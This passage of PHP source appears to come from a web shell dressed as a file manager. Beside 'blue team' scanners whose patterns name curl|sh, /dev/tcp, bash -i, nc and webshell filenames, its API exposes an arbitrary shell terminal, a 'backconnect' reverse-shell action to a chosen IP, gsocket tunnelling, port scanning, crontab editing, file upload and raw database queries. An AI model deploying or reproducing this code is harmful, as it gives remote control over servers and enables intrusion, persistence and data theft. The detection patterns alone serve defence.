$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
$lines = array(\’=== RECENTLY MODIFIED WEB FILES (last \’ . $days . \’ days) ===\’, \’\’);
foreach ($roots as $root) {
if ($isWin) {
$cmd = \’forfiles /P \’ . escapeshellarg($root) . \’ /S /D -\’ . $days . \’ /M *.php 2>nul\’;
} else {
$cmd = \’find \’ . escapeshellarg($root) . \’ -maxdepth 8 -type f \\( -name \”*.php\” -o -name \”*.phtml\” -o -name \”*.js\” -o -name \”.htaccess\” \\) -mtime -\’ . $days . \’ -printf \”%TY-%Tm-%Td %TH:%TM %s %p\\n\” 2>/dev/null | sort -r | head -60\’;
}
$out = runTerminal($cmd, $baseDir);
if (trim($out[\’output\’]) !== \’\’) {
$lines[] = \’— \’ . $root . \’ —\’;
$lines[] = trim($out[\’output\’]);
$lines[] = \’\’;
}
}
if (count($lines) <= 2) $lines[] = \'(no recent changes found)\';
return array(\'ok\' => true, \’output\’ => implode(\”\\n\”, $lines));
}
function btWritableScan($baseDir, $scanPath)
{
$roots = btGetScanRoots($baseDir, $scanPath);
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
$lines = array(\’=== WORLD-WRITABLE / INSECURE PERMISSIONS ===\’, \’\’);
foreach ($roots as $root) {
if ($isWin) continue;
$cmd = \’find \’ . escapeshellarg($root) . \’ -maxdepth 7 -type f \\( -perm -0002 -o -perm -0777 \\) -ls 2>/dev/null | head -50\’;
$out = runTerminal($cmd, $baseDir);
if (trim($out[\’output\’]) !== \’\’) {
$lines[] = \’— \’ . $root . \’ —\’;
$lines[] = trim($out[\’output\’]);
$lines[] = \’\’;
}
$cmd2 = \’find \’ . escapeshellarg($root) . \’ -maxdepth 7 -type d -perm -0002 2>/dev/null | head -30\’;
$out2 = runTerminal($cmd2, $baseDir);
if (trim($out2[\’output\’]) !== \’\’) {
$lines[] = \’World-writable directories:\’;
$lines[] = trim($out2[\’output\’]);
$lines[] = \’\’;
}
}
if (count($lines) <= 2) $lines[] = $isWin ? \'(Linux permission scan only)\' : \'(no world-writable files found)\';
return array(\'ok\' => true, \’output\’ => implode(\”\\n\”, $lines));
}
function btHiddenScan($baseDir, $scanPath)
{
$roots = btGetScanRoots($baseDir, $scanPath);
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
$lines = array(\’=== HIDDEN / DOT FILES (executable scripts) ===\’, \’\’);
foreach ($roots as $root) {
if ($isWin) continue;
$cmd = \’find \’ . escapeshellarg($root) . \’ -maxdepth 8 -name \”.*\” -type f \\( -name \”*.php*\” -o -name \”*.pl\” -o -name \”*.sh\” -o -name \”*.py\” -o -name \”.htaccess\” -o -name \”.user.ini\” \\) -ls 2>/dev/null | head -50\’;
$out = runTerminal($cmd, $baseDir);
if (trim($out[\’output\’]) !== \’\’) {
$lines[] = \’— \’ . $root . \’ —\’;
$lines[] = trim($out[\’output\’]);
$lines[] = \’\’;
}
}
if (count($lines) <= 2) $lines[] = \'(no suspicious hidden scripts found)\';
return array(\'ok\' => true, \’output\’ => implode(\”\\n\”, $lines));
}
function btCronAudit($baseDir)
{
$cron = getCrontab();
$lines = array(\’=== CRON PERSISTENCE AUDIT ===\’, \’Platform: \’ . $cron[\’platform\’], \’\’);
$suspicious = array(
\’/\\bcurl\\b.*\\|\\s*(ba)?sh/is\’, \’/\\bwget\\b.*\\|\\s*(ba)?sh/is\’,
\’/\\/dev\\/tcp\\//is\’, \’/\\bbash\\s+-i/is\’, \’/\\bnc\\s+-/is\’,
\’/base64\\s+-d/is\’, \’/\\beval\\b/is\’, \’/\\bpython\\s+-c/is\’,
\’/\\bperl\\s+-e/is\’, \’/\\b\\/tmp\\//is\’, \’/\\bchmod\\s+\\+x/is\’,
\’/gsocket/is\’, \’/\\breverse\\b/is\’, \’/\\bbackdoor\\b/is\’,
);
$content = $cron[\’content\’];
if (trim($content) === \’\’) {
$lines[] = \'(empty crontab)\’;
} else {
$ln = 0;
foreach (explode(\”\\n\”, $content) as $line) {
$line = trim($line);
if ($line === \’\’ || $line[0] === \’#\’) continue;
$ln++;
$flags = array();
foreach ($suspicious as $pat) {
if (preg_match($pat, $line)) $flags[] = \’SUSPICIOUS\’;
}
$prefix = empty($flags) ? \'[OK] \’ : \'[WARN] \’;
$lines[] = $prefix . $line;
}
if ($ln === 0) $lines[] = \'(no active cron entries)\’;
}
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
if (!$isWin) {
$etc = runTerminal(\’ls -la /etc/cron* 2>/dev/null; grep -rH . /etc/cron.d/ /etc/cron.daily/ 2>/dev/null | head -30\’, $baseDir);
$lines[] = \’\’;
$lines[] = \’=== /etc/cron* (sample) ===\’;
$lines[] = trim($etc[\’output\’]);
}
return array(\’ok\’ => true, \’output\’ => implode(\”\\n\”, $lines));
}
function btLogAudit($baseDir)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
$lines = array(\’=== AUTH / SECURITY LOG AUDIT ===\’, \’\’);
if ($isWin) {
$out = runTerminal(\’wevtutil qe Security /c:20 /rd:true /f:text 2>nul\’, $baseDir);
$lines[] = trim($out[\’output\’]) ?: \'(Windows event query unavailable)\’;
} else {
$cmds = array(
\’Failed SSH/auth (last 40)\’ => \’grep -iE \”Failed password|Invalid user|authentication failure|refused connect\” /var/log/auth.log /var/log/secure 2>/dev/null | tail -40\’,
\’sudo usage (last 20)\’ => \’grep -i sudo /var/log/auth.log /var/log/secure 2>/dev/null | tail -20\’,
\’Web server errors (last 20)\’ => \’grep -iE \”eval|base64|shell|cmd=|/etc/passwd\” /var/log/apache2/error.log /var/log/httpd/error_log /var/log/nginx/error.log 2>/dev/null | tail -20\’,
);
foreach ($cmds as $label => $cmd) {
$out = runTerminal($cmd, $baseDir);
$lines[] = \’— \’ . $label . \’ —\’;
$lines[] = trim($out[\’output\’]) ?: \'(no entries or log not accessible)\’;
$lines[] = \’\’;
}
}
return array(\’ok\’ => true, \’output\’ => implode(\”\\n\”, $lines));
}
function btIocScan($baseDir, $scanPath)
{
$roots = btGetScanRoots($baseDir, $scanPath);
$iocs = array(\’c99\’,\’r57\’,\’wso\’,\’b374k\’,\’shell\’,\’backdoor\’,\’cmd\’,\’uploader\’,\’alfa\’,\’indoxploit\’,\’mini\’,\’hack\’,\’exploit\’,\’webshell\’,\’c100\’,\’r00t\’,\’anonymous\’,\’leaf\’,\’marijuana\’,\’fox\’,\’upl\’);
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
$lines = array(\’=== IOC FILENAME HUNT ===\’, \’\’);
$found = 0;
foreach ($roots as $root) {
if (!$isWin) {
$nameExpr = array();
foreach ($iocs as $ioc) {
$nameExpr[] = \’-iname \’ . escapeshellarg(\’*\’ . $ioc . \’*.php\’);
$nameExpr[] = \’-iname \’ . escapeshellarg(\’*\’ . $ioc . \’*.phtml\’);
}
$cmd = \’find \’ . escapeshellarg($root) . \’ -maxdepth 8 \\( \’ . implode(\’ -o \’, $nameExpr) . \’ \\) -type f 2>/dev/null | head -40\’;
$out = runTerminal($cmd, $baseDir);
if (trim($out[\’output\’]) !== \’\’) {
$lines[] = \’— \’ . $root . \’ —\’;
$lines[] = trim($out[\’output\’]);
$found += substr_count($out[\’output\’], \”\\n\”) + 1;
$lines[] = \’\’;
}
}
}
if ($found === 0) $lines[] = \'(no IOC filename matches)\’;
return array(\’ok\’ => true, \’output\’ => implode(\”\\n\”, $lines), \’count\’ => $found);
}
function btSuspiciousProcess($baseDir)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
if ($isWin) {
$out = runTerminal(\’tasklist /V\’, $baseDir);
} else {
$out = runTerminal(\’ps auxww 2>/dev/null | grep -iE \”nc |/dev/tcp|python -c|perl -e|bash -i|gsocket|cryptominer|xmrig|masscan|sqlmap\” | grep -v grep\’, $baseDir);
if (trim($out[\’output\’]) === \’\’) {
$out[\’output\’] = \”(no suspicious process patterns matched)\\n\\nFull process list (top 30):\\n\” . runTerminal(\’ps auxww 2>/dev/null | head -30\’, $baseDir)[\’output\’];
}
}
return array(\’ok\’ => true, \’output\’ => \”=== SUSPICIOUS PROCESS SCAN ===\\n\\n\” . $out[\’output\’]);
}
function btFullAudit($baseDir, $scanPath)
{
@set_time_limit(600);
$parts = array();
$r1 = btWebshellScan($baseDir, $scanPath, true);
$parts[] = $r1[\’output\’];
$parts[] = str_repeat(\’-\’, 60);
$parts[] = btRecentChanges($baseDir, $scanPath, 7)[\’output\’];
$parts[] = str_repeat(\’-\’, 60);
$parts[] = btWritableScan($baseDir, $scanPath)[\’output\’];
$parts[] = str_repeat(\’-\’, 60);
$parts[] = btHiddenScan($baseDir, $scanPath)[\’output\’];
$parts[] = str_repeat(\’-\’, 60);
$parts[] = btCronAudit($baseDir)[\’output\’];
$parts[] = str_repeat(\’-\’, 60);
$parts[] = btIocScan($baseDir, $scanPath)[\’output\’];
$parts[] = str_repeat(\’-\’, 60);
$parts[] = btSuspiciousProcess($baseDir)[\’output\’];
$parts[] = str_repeat(\’-\’, 60);
$parts[] = btLogAudit($baseDir)[\’output\’];
return array(
\’ok\’ => true,
\’output\’ => implode(\”\\n\\n\”, $parts),
\’count\’ => isset($r1[\’count\’]) ? $r1[\’count\’] : 0,
\’critical\’ => isset($r1[\’critical\’]) ? $r1[\’critical\’] : 0,
);
}
function runBlueTool($tool, $input, $baseDir)
{
$tool = strtolower(trim((string)$tool));
$scanPath = (string)_v($input, \’path\’, \’\’);
$days = (int)_v($input, \’days\’, 7);
switch ($tool) {
case \’backdoor\’:
$aggressive = _v($input, \’aggressive\’, true);
return btWebshellScan($baseDir, $scanPath, $aggressive);
case \’delete_threats\’:
$paths = _v($input, \’paths\’, array());
if (is_string($paths)) {
$decoded = json_decode($paths, true);
$paths = is_array($decoded) ? $decoded : array($paths);
}
return btDeleteThreats($baseDir, $paths);
case \’quarantine_list\’:
return btListQuarantine($baseDir);
case \’restore_threats\’:
$ids = _v($input, \’ids\’, array());
if (is_string($ids)) {
$decoded = json_decode($ids, true);
$ids = is_array($decoded) ? $decoded : array($ids);
}
return btRestoreThreats($baseDir, $ids);
case \’fullaudit\’:
return btFullAudit($baseDir, $scanPath);
case \’recent\’:
return btRecentChanges($baseDir, $scanPath, $days);
case \’writable\’:
return btWritableScan($baseDir, $scanPath);
case \’hidden\’:
return btHiddenScan($baseDir, $scanPath);
case \’cron\’:
return btCronAudit($baseDir);
case \’logs\’:
return btLogAudit($baseDir);
case \’ioc\’:
return btIocScan($baseDir, $scanPath);
case \’process\’:
return btSuspiciousProcess($baseDir);
default:
return array(\’ok\’ => false, \’error\’ => \’Unknown blue team tool\’);
}
}
function dbMakePdo($type, $host, $port, $user, $pass, $db)
{
$type = strtolower(trim((string)$type));
$host = trim((string)$host);
$user = (string)$user;
$pass = (string)$pass;
$db = trim((string)$db);
$port = (int)$port;
if (!class_exists(\’PDO\’)) {
return array(\’ok\’ => false, \’error\’ => \’PDO extension not available\’);
}
try {
if ($type === \’sqlite\’) {
if ($db === \’\’) {
return array(\’ok\’ => false, \’error\’ => \’Database file path required\’);
}
$pdo = new PDO(\’sqlite:\’ . $db);
} elseif ($type === \’mysql\’) {
if ($host === \’\’) $host = \’127.0.0.1\’;
if ($port <= 0) $port = 3306;
$dsn = \'mysql:host=\' . $host . \';port=\' . $port . \';dbname=\' . $db . \';charset=utf8mb4\';
$pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
} elseif ($type === \’pgsql\’) {
if ($host === \’\’) $host = \’127.0.0.1\’;
if ($port <= 0) $port = 5432;
$dsn = \'pgsql:host=\' . $host . \';port=\' . $port . \';dbname=\' . $db;
$pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
} else {
return array(\’ok\’ => false, \’error\’ => \’Unsupported DB type\’);
}
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
return array(\’ok\’ => true, \’pdo\’ => $pdo);
} catch (Exception $e) {
return array(\’ok\’ => false, \’error\’ => $e->getMessage());
}
}
function dbRunQuery($type, $host, $port, $user, $pass, $db, $sql)
{
$sql = trim((string)$sql);
if ($sql === \’\’) {
return array(\’ok\’ => false, \’error\’ => \’Empty query\’);
}
$conn = dbMakePdo($type, $host, $port, $user, $pass, $db);
if (!$conn[\’ok\’]) return $conn;
/** @var PDO $pdo */
$pdo = $conn[\’pdo\’];
try {
$stmt = $pdo->query($sql);
if ($stmt === false) {
return array(\’ok\’ => true, \’type\’ => \’exec\’, \’affected\’ => $pdo->lastInsertId(), \’message\’ => \’Query executed\’);
}
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
$cols = array();
if (!empty($rows)) {
$cols = array_keys($rows[0]);
} else {
$colCount = $stmt->columnCount();
for ($i = 0; $i < $colCount; $i++) {
$meta = $stmt->getColumnMeta($i);
if ($meta && isset($meta[\’name\’])) $cols[] = $meta[\’name\’];
}
}
return array(\’ok\’ => true, \’type\’ => \’select\’, \’columns\’ => $cols, \’rows\’ => $rows, \’count\’ => count($rows));
} catch (Exception $e) {
return array(\’ok\’ => false, \’error\’ => $e->getMessage());
}
}
function dbListTables($type, $host, $port, $user, $pass, $db)
{
$conn = dbMakePdo($type, $host, $port, $user, $pass, $db);
if (!$conn[\’ok\’]) return $conn;
/** @var PDO $pdo */
$pdo = $conn[\’pdo\’];
$type = strtolower(trim((string)$type));
try {
if ($type === \’mysql\’) {
$stmt = $pdo->query(\’SHOW TABLES\’);
} elseif ($type === \’pgsql\’) {
$stmt = $pdo->query(\”SELECT tablename FROM pg_tables WHERE schemaname=\’public\’ ORDER BY tablename\”);
} elseif ($type === \’sqlite\’) {
$stmt = $pdo->query(\”SELECT name FROM sqlite_master WHERE type=\’table\’ ORDER BY name\”);
} else {
return array(\’ok\’ => false, \’error\’ => \’Unsupported DB type\’);
}
$tables = array();
while ($row = $stmt->fetch(PDO::FETCH_NUM)) {
$tables[] = $row[0];
}
return array(\’ok\’ => true, \’tables\’ => $tables);
} catch (Exception $e) {
return array(\’ok\’ => false, \’error\’ => $e->getMessage());
}
}
// Helper untuk akses array yang aman (pengganti operator ??)
function _v($arr, $key, $default = \’\’) {
return (isset($arr[$key]) && $arr[$key] !== null) ? $arr[$key] : $default;
}
// Handle download requests
if (isset($_GET[\’download\’])) {
$path = resolvePath($baseDir, (string)$_GET[\’download\’]);
if (!$path || is_dir($path)) { http_response_code(404); exit(\’Not found\’); }
header(\’Content-Type: application/octet-stream\’);
header(\’Content-Disposition: attachment; filename=\”\’ . basename($path) . \’\”\’);
header(\’Content-Length: \’ . filesize($path));
readfile($path); exit;
}
// Handle inline view requests (image preview, raw text view)
if (isset($_GET[\’view\’])) {
$path = resolvePath($baseDir, (string)$_GET[\’view\’]);
if (!$path || is_dir($path)) { http_response_code(404); exit(\’Not found\’); }
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
$mimes = array(
\’png\’ => \’image/png\’,
\’jpg\’ => \’image/jpeg\’,
\’jpeg\’ => \’image/jpeg\’,
\’gif\’ => \’image/gif\’,
\’webp\’ => \’image/webp\’,
\’svg\’ => \’image/svg+xml\’,
\’ico\’ => \’image/x-icon\’,
\’bmp\’ => \’image/bmp\’,
\’avif\’ => \’image/avif\’,
\’pdf\’ => \’application/pdf\’,
);
$mime = isset($mimes[$ext]) ? $mimes[$ext] : \’application/octet-stream\’;
header(\’Content-Type: \’ . $mime);
header(\’Content-Length: \’ . filesize($path));
header(\’X-Content-Type-Options: nosniff\’);
header(\’Content-Disposition: inline; filename=\”\’ . basename($path) . \’\”\’);
header(\’Cache-Control: private, max-age=300\’);
readfile($path);
exit;
}
// Adminer — single-file DB manager (cached locally)
if (isset($_GET[\’adminer\’])) {
$adminerFile = __DIR__ . DIRECTORY_SEPARATOR . \’.adminer.php\’;
if (!is_file($adminerFile)) {
$ctx = stream_context_create(array(\’http\’ => array(\’timeout\’ => 15)));
$data = @file_get_contents(\’https://www.adminer.org/latest.php\’, false, $ctx);
if ($data && strlen($data) > 1000) {
@file_put_contents($adminerFile, $data);
}
}
if (is_file($adminerFile)) {
include $adminerFile;
exit;
}
http_response_code(503);
echo \’Adminer unavailable (download failed). Use built-in DB Manager.\’;
exit;
}
if (isset($_GET[\’phpinfo\’])) {
phpinfo();
exit;
}
// Handle API requests
if (isset($_GET[\’api\’])) {
$contentType = isset($_SERVER[\’CONTENT_TYPE\’]) ? $_SERVER[\’CONTENT_TYPE\’] : \’\’;
$hasJson = strpos($contentType, \’application/json\’) !== false;
if ($hasJson) {
$raw = file_get_contents(\’php://input\’);
if (!$raw) $raw = \'{}\’;
$decoded = json_decode($raw, true);
$input = is_array($decoded) ? $decoded : array();
} else {
$input = $_POST;
}
$action = (string)_v($input, \’action\’, _v($_GET, \’action\’, \’list\’));
switch ($action) {
case \’list\’:
$rel = sanitizeRelPath((string)_v($input, \’path\’, \’\’));
// Determine the directory to list
if (preg_match(\’/^[A-Za-z]:\\//\’, $rel)) {
// Absolute Windows path
$dir = str_replace(\’/\’, DIRECTORY_SEPARATOR, $rel);
} elseif (strlen($rel) > 0 && $rel[0] === \’/\’) {
// Absolute Linux path
$dir = $rel;
} elseif ($rel === \’\’) {
// Default base directory
$dir = $baseDir;
} else {
// Relative path
$dir = resolvePath($baseDir, $rel);
}
if (!$dir || !is_dir($dir)) {
jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid directory: \’ . $rel), 403);
}
jsonOut(array(
\’ok\’ => true,
\’path\’ => $rel,
\’entries\’ => listEntries($dir),
\’disk\’ => array(
\’free\’ => @disk_free_space($dir),
\’total\’ => @disk_total_space($dir),
),
));
break;
case \’read\’:
$path = resolvePath($baseDir, (string)_v($input, \’path\’, \’\’));
if (!$path || is_dir($path)) jsonOut(array(\’ok\’ => false, \’error\’ => \’File not found\’), 404);
$sz = filesize($path);
if (!isTextFile($path) && (int)($sz ? $sz : 0) > 512000) jsonOut(array(\’ok\’ => false, \’error\’ => \’File too large or binary\’), 400);
jsonOut(array(
\’ok\’ => true,
\’content\’ => file_get_contents($path),
\’editable\’ => isTextFile($path),
\’size\’ => filesize($path),
\’modified\’ => filemtime($path),
));
break;
case \’save\’:
$path = resolvePath($baseDir, (string)_v($input, \’path\’, \’\’));
if (!$path || is_dir($path)) jsonOut(array(\’ok\’ => false, \’error\’ => \’File not found\’), 404);
if (file_put_contents($path, (string)_v($input, \’content\’, \’\’)) === false) jsonOut(array(\’ok\’ => false, \’error\’ => \’Write failed\’), 500);
jsonOut(array(\’ok\’ => true, \’modified\’ => filemtime($path)));
break;
case \’mkdir\’:
$rel = sanitizeRelPath((string)_v($input, \’path\’, \’\’));
$name = basename(str_replace(\’\’, \’/\’, (string)_v($input, \’name\’, \’\’)));
if ($name === \’\’ || preg_match(\’/[<>:\”|?*\\/]/\’, $name)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid name\’), 400);
$parent = resolvePath($baseDir, $rel);
if (!$parent || !is_dir($parent)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid directory\’), 403);
$new = $parent . DIRECTORY_SEPARATOR . $name;
if (file_exists($new)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Already exists\’), 409);
if (!@mkdir($new, 0755)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Create failed\’), 500);
jsonOut(array(\’ok\’ => true));
break;
case \’create_file\’:
$rel = sanitizeRelPath((string)_v($input, \’path\’, \’\’));
$name = basename(str_replace(\’\’, \’/\’, (string)_v($input, \’name\’, \’\’)));
if ($name === \’\’ || preg_match(\’/[<>:\”|?*\\/]/\’, $name)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid name\’), 400);
$parent = resolvePath($baseDir, $rel);
if (!$parent || !is_dir($parent)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid directory\’), 403);
$new = $parent . DIRECTORY_SEPARATOR . $name;
if (file_exists($new)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Already exists\’), 409);
if (file_put_contents($new, (string)_v($input, \’content\’, \’\’)) === false) jsonOut(array(\’ok\’ => false, \’error\’ => \’Create failed\’), 500);
jsonOut(array(\’ok\’ => true));
break;
case \’delete\’:
$path = resolvePath($baseDir, (string)_v($input, \’path\’, \’\’));
if (!$path || $path === $baseDir) jsonOut(array(\’ok\’ => false, \’error\’ => \’Cannot delete\’), 403);
$ok = is_dir($path) ? @rmdir($path) : @unlink($path);
if (!$ok) jsonOut(array(\’ok\’ => false, \’error\’ => \’Delete failed (folder must be empty)\’), 500);
jsonOut(array(\’ok\’ => true));
break;
case \’rename\’:
$path = resolvePath($baseDir, (string)_v($input, \’path\’, \’\’));
$newName = basename(str_replace(\’\’, \’/\’, (string)_v($input, \’new_name\’, \’\’)));
if (!$path || $newName === \’\’ || preg_match(\’/[<>:\”|?*\\/]/\’, $newName)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid request\’), 400);
$dest = dirname($path) . DIRECTORY_SEPARATOR . $newName;
if (file_exists($dest)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Name taken\’), 409);
if (!@rename($path, $dest)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Rename failed\’), 500);
jsonOut(array(\’ok\’ => true, \’new_path\’ => ltrim(str_replace(\’\’, \’/\’, substr($dest, strlen($baseDir))), \’/\’)));
break;
case \’chmod\’:
$path = resolvePath($baseDir, (string)_v($input, \’path\’, \’\’));
if (!$path) jsonOut(array(\’ok\’ => false, \’error\’ => \’File not found\’), 404);
$permString = (string)_v($input, \’perm\’, \’\’);
if (!preg_match(\’/^[0-7]{3,4}$/\’, $permString)) {
jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid permission format. Use octal (e.g., 755 or 0644)\’), 400);
}
$octalPerm = octdec($permString);
if (!@chmod($path, (int)$octalPerm)) {
jsonOut(array(\’ok\’ => false, \’error\’ => \’Failed to change permissions\’), 500);
}
clearstatcache(true, $path);
$newPerm = substr(sprintf(\’%o\’, fileperms($path)), -4);
jsonOut(array(\’ok\’ => true, \’perm\’ => $newPerm));
break;
case \’upload\’:
$rel = sanitizeRelPath((string)_v($_POST, \’path\’, \’\’));
$parent = resolvePath($baseDir, $rel);
if (!$parent || !is_dir($parent)) {
jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid directory: \’ . $rel), 403);
}
if (empty($_FILES[\’file\’])) {
jsonOut(array(\’ok\’ => false, \’error\’ => \’No file uploaded\’), 400);
}
$f = $_FILES[\’file\’];
if ($f[\’error\’] !== UPLOAD_ERR_OK) {
$errors = array(
UPLOAD_ERR_INI_SIZE => \’File too large (server limit: \’ . ini_get(\’upload_max_filesize\’) . \’)\’,
UPLOAD_ERR_FORM_SIZE => \’File too large (form limit)\’,
UPLOAD_ERR_PARTIAL => \’File only partially uploaded\’,
UPLOAD_ERR_NO_FILE => \’No file uploaded\’,
UPLOAD_ERR_NO_TMP_DIR => \’Missing temporary folder\’,
UPLOAD_ERR_CANT_WRITE => \’Failed to write file\’,
UPLOAD_ERR_EXTENSION => \’Upload blocked by extension\’,
);
$errorMsg = isset($errors[$f[\’error\’]]) ? $errors[$f[\’error\’]] : (\’Unknown upload error (code: \’ . $f[\’error\’] . \’)\’);
jsonOut(array(\’ok\’ => false, \’error\’ => $errorMsg), 400);
}
$name = basename($f[\’name\’]);
$name = preg_replace(\’/[<>:\”|?*\\/]/\’, \’\’, $name);
$name = trim($name);
if ($name === \’\’) {
jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid filename\’), 400);
}
$dest = $parent . DIRECTORY_SEPARATOR . $name;
if (file_exists($dest)) {
$info = pathinfo($name);
$filename = isset($info[\’filename\’]) ? $info[\’filename\’] : $name;
$extension = isset($info[\’extension\’]) ? $info[\’extension\’] : \’\’;
$name = $filename . \’_\’ . time() . ($extension !== \’\’ ? \’.\’ . $extension : \’\’);
$dest = $parent . DIRECTORY_SEPARATOR . $name;
}
if (!move_uploaded_file($f[\’tmp_name\’], $dest)) {
jsonOut(array(\’ok\’ => false, \’error\’ => \’Failed to save file. Check folder permissions.\’), 500);
}
@chmod($dest, 0644);
jsonOut(array(\’ok\’ => true, \’name\’ => $name, \’message\’ => \’Upload successful\’));
break;
case \’search\’:
$query = trim((string)_v($input, \’query\’, \’\’));
if ($query === \’\’) jsonOut(array(\’ok\’ => true, \’results\’ => array()));
$results = array(); $count = 0;
searchFiles($baseDir, sanitizeRelPath((string)_v($input, \’path\’, \’\’)), $query, $results, $count);
jsonOut(array(\’ok\’ => true, \’results\’ => $results));
break;
case \’terminal\’:
$rel = sanitizeRelPath((string)_v($input, \’path\’, \’\’));
$cwd = resolvePath($baseDir, $rel);
if (!$cwd || !is_dir($cwd)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid cwd\’), 403);
$command = trim((string)_v($input, \’command\’, \’\’));
if ($command === \’\’) jsonOut(array(\’ok\’ => false, \’error\’ => \’Empty command\’), 400);
$result = runTerminal($command, $cwd);
jsonOut(array(\’ok\’ => true, \’output\’ => $result[\’output\’], \’exit_code\’ => $result[\’exit_code\’], \’cwd\’ => $rel));
break;
case \’drives\’:
$drives = array();
if (strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’) {
for ($i = 67; $i <= 90; $i++) {
$drive = chr($i) . \':/\';
if (@is_dir($drive)) {
$free = @disk_free_space($drive);
$total = @disk_total_space($drive);
$drives[] = array(
\'letter\' => chr($i) . \’:\’,
\’path\’ => $drive,
\’free\’ => $free ? $free : 0,
\’total\’ => $total ? $total : 0,
\’label\’ => chr($i) . \’:\’,
);
}
}
} else {
// Linux/Mac – show root and common paths
$commonPaths = array(
\’/\’ => \’Root (/)\’,
\’/home\’ => \’Home (/home)\’,
\’/var\’ => \’Var (/var)\’,
\’/etc\’ => \’Etc (/etc)\’,
\’/usr\’ => \’Usr (/usr)\’,
\’/tmp\’ => \’Tmp (/tmp)\’,
);
foreach ($commonPaths as $path => $label) {
if (@is_dir($path)) {
$free = @disk_free_space($path);
$total = @disk_total_space($path);
$drives[] = array(
\’letter\’ => $path,
\’path\’ => $path,
\’free\’ => $free ? $free : 0,
\’total\’ => $total ? $total : 0,
\’label\’ => $label,
);
}
}
// Add current document root
if (@is_dir($baseDir) && $baseDir !== \’/\’) {
$free = @disk_free_space($baseDir);
$total = @disk_total_space($baseDir);
$drives[] = array(
\’letter\’ => $baseDir,
\’path\’ => $baseDir,
\’free\’ => $free ? $free : 0,
\’total\’ => $total ? $total : 0,
\’label\’ => \’Document Root: \’ . basename($baseDir),
);
}
}
jsonOut(array(\’ok\’ => true, \’drives\’ => $drives));
break;
case \’info\’:
jsonOut(array(
\’ok\’ => true,
\’php\’ => PHP_VERSION,
\’os\’ => PHP_OS,
\’base\’ => $baseDir,
\’disk_free\’ => @disk_free_space($baseDir),
\’disk_total\’ => @disk_total_space($baseDir),
));
break;
case \’cron_list\’:
$cron = getCrontab();
jsonOut(array(
\’ok\’ => true,
\’content\’ => $cron[\’content\’],
\’platform\’ => $cron[\’platform\’],
\’editable\’ => $cron[\’editable\’],
));
break;
case \’cron_save\’:
$content = (string)_v($input, \’content\’, \’\’);
$result = setCrontab($content);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut(array(\’ok\’ => true));
break;
case \’portscan\’:
$host = trim((string)_v($input, \’host\’, \’127.0.0.1\’));
$ports = trim((string)_v($input, \’ports\’, \’21,22,25,80,443,3306,8080\’));
$timeout = (int)_v($input, \’timeout\’, 1);
$result = scanPorts($host, $ports, $timeout);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;
case \’backconnect\’:
$ip = trim((string)_v($input, \’ip\’, \’\’));
$port = (int)_v($input, \’port\’, 4444);
$method = (string)_v($input, \’method\’, \’bash\’);
$result = startBackconnect($ip, $port, $method);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;
case \’gsocket\’:
@set_time_limit(1800);
@ini_set(\’max_execution_time\’, \’1800\’);
$method = (string)_v($input, \’method\’, \’curl\’);
$result = runGsocket($method);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;
case \’db_tables\’:
$result = dbListTables(
(string)_v($input, \’type\’, \’mysql\’),
(string)_v($input, \’host\’, \’127.0.0.1\’),
(int)_v($input, \’port\’, 3306),
(string)_v($input, \’user\’, \’root\’),
(string)_v($input, \’pass\’, \’\’),
(string)_v($input, \’db\’, \’\’)
);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;
case \’db_query\’:
$result = dbRunQuery(
(string)_v($input, \’type\’, \’mysql\’),
(string)_v($input, \’host\’, \’127.0.0.1\’),
(int)_v($input, \’port\’, 3306),
(string)_v($input, \’user\’, \’root\’),
(string)_v($input, \’pass\’, \’\’),
(string)_v($input, \’db\’, \’\’),
(string)_v($input, \’sql\’, \’\’)
);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;
case \’sec_tool\’:
@set_time_limit(120);
$tool = (string)_v($input, \’tool\’, \’recon\’);
$result = runSecTool($tool, $input, $baseDir);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;
case \’blue_tool\’:
@set_time_limit(600);
@ini_set(\’max_execution_time\’, \’600\’);
$tool = (string)_v($input, \’tool\’, \’backdoor\’);
$result = runBlueTool($tool, $input, $baseDir);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;
case \’blue_delete\’:
$paths = _v($input, \’paths\’, array());
if (is_string($paths)) {
$decoded = json_decode($paths, true);
$paths = is_array($decoded) ? $decoded : array($paths);
}
